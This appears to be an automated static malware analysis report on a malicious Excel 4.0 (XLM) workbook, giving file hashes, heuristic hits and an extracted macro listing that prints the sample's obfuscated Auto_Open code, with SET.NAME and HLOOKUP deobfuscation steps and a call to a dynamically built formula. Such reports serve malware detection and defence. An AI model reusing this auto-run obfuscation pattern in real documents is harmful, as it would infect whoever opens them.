Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9c8ae4e920ad282…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:05 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: e437e25213f579837d40e44730fd2748 SHA-1: 713c72181a8dbdca91a29ce8216dbaafe41343b5 SHA-256: c9c8ae4e920ad2829e2dd0fef019ffb64009fb2f5f1ff23423af2cc2fefaa8b8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6670 bytes
SHA-256: a04224420012d2bd2803b516aa2b27e244d1f616ae376d9a74187a51c0187c4e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kNefMAL
' 0018     21 LABEL : Cell Value, String Constant - AcwDqj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A170 
' 0018     22 LABEL : Cell Value, String Constant - CuKVczb len=0 
' 0018     25 LABEL : Cell Value, String Constant - djVdctXcDy len=0 
' 0018     20 LABEL : Cell Value, String Constant - dtttH len=0 
' 0018     26 LABEL : Cell Value, String Constant - eGJegTHgJme len=0 
' 0018     20 LABEL : Cell Value, String Constant - Gadaf len=0 
' 0018     22 LABEL : Cell Value, String Constant - kaBnsYB len=0 
' 0018     20 LABEL : Cell Value, String Constant - kmQTC len=0 
' 0018     26 LABEL : Cell Value, String Constant - miWtwpingsb len=0 
' 0018     20 LABEL : Cell Value, String Constant - otQNj len=0 
' 0018     22 LABEL : Cell Value, String Constant - RHgmPfH len=0 
' 0018     27 LABEL : Cell Value, String Constant - rklnrAYMJrjk len=0 
' 0018     22 LABEL : Cell Value, String Constant - srBaPwP len=0 
' 0018     27 LABEL : Cell Value, String Constant - TXptXcxByNin len=0 
' 0018     20 LABEL : Cell Value, String Constant - tzTSU len=0 
' 0018     20 LABEL : Cell Value, String Constant - WMqKH len=0 
' 0018     26 LABEL : Cell Value, String Constant - wzMypfreVTv len=0 
' 0018     21 LABEL : Cell Value, String Constant - xbKIZM len=0 
' 0018     25 LABEL : Cell Value, String Constant - yuVVnfuuXR len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZHZXIXbMJd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kNefMAL,Q71,"",540.00000000000000000000
'  kNefMAL,Q72,"",878.00000000000000000000
'  kNefMAL,Q73,"",-998.00000000000000000000
'  kNefMAL,Q74,"",-708.00000000000000000000
'  kNefMAL,Q75,"",684.00000000000000000000
'  kNefMAL,Q76,"",-139.00000000000000000000
'  kNefMAL,A81,"SET.NAME("RHgmPfH",0+VALUE("0"))",""
'  kNefMAL,A85,"SET.NAME("Gadaf",RHgmPfH)",""
'  kNefMAL,A89,"SET.NAME("wzMypfreVTv",RHgmPfH)",""
'  kNefMAL,A91,"SET.NAME("CuKVczb",COUNTA(WMqKH))",""
'  kNefMAL,A96,"SET.NAME("eGJegTHgJme",COUNTA(TXptXcxByNin))",""
'  kNefMAL,A99,[],""
'  kNefMAL,A102,"SET.NAME("kmQTC","")",""
'  kNefMAL,A106,"Gadaf",""
'  kNefMAL,A110,"SET.NAME("ZHZXIXbMJd",HLOOKUP("*",WMqKH,Gadaf,FALSE))",""
'  kNefMAL,A112,"AcwDqj",""
'  kNefMAL,A114,"SET.NAME("srBaPwP",RHgmPfH)",""
'  kNefMAL,A118,[],""
'  kNefMAL,A120,"srBaPwP",""
'  kNefMAL,A124,"kaBnsYB",""
'  kNefMAL,A127,"yuVVnfuuXR",""
'  kNefMAL,A131,"tzTSU",""
'  kNefMAL,A136,"SET.NAME("dtttH",VALUE(HLOOKUP("*",TXptXcxByNin,tzTSU,FALSE)))",""
'  kNefMAL,A139,"djVdctXcDy",""
'  kNefMAL,A141,"kmQTC",""
'  kNefMAL,A145,"wzMypfreVTv",""
'  kNefMAL,A147,NEXT(),""
'  kNefMAL,A152,"rklnrAYMJrjk",""
'  kNefMAL,A154,[],""
'  kNefMAL,A157,"xbKIZM",""
'  kNefMAL,A160,NEXT(),""
'  kNefMAL,A165,RETURN(),""
'  kNefMAL,A197,"SET.NAME("miWtwpingsb",A81)",""
'  kNefMAL,A202,"WMqKH",""
'  kNefMAL,A204,"SET.NAME("TXptXcxByNin",R65C13)",""
'  kNefMAL,A209,"SET.NAME("xbKIZM",216)",""
'  kNefMAL,A211,"SET.NAME("otQNj",1)",""
'  kNefMAL,A215,miWtwpingsb(),""
'  kNefMAL,A216,HALT(),""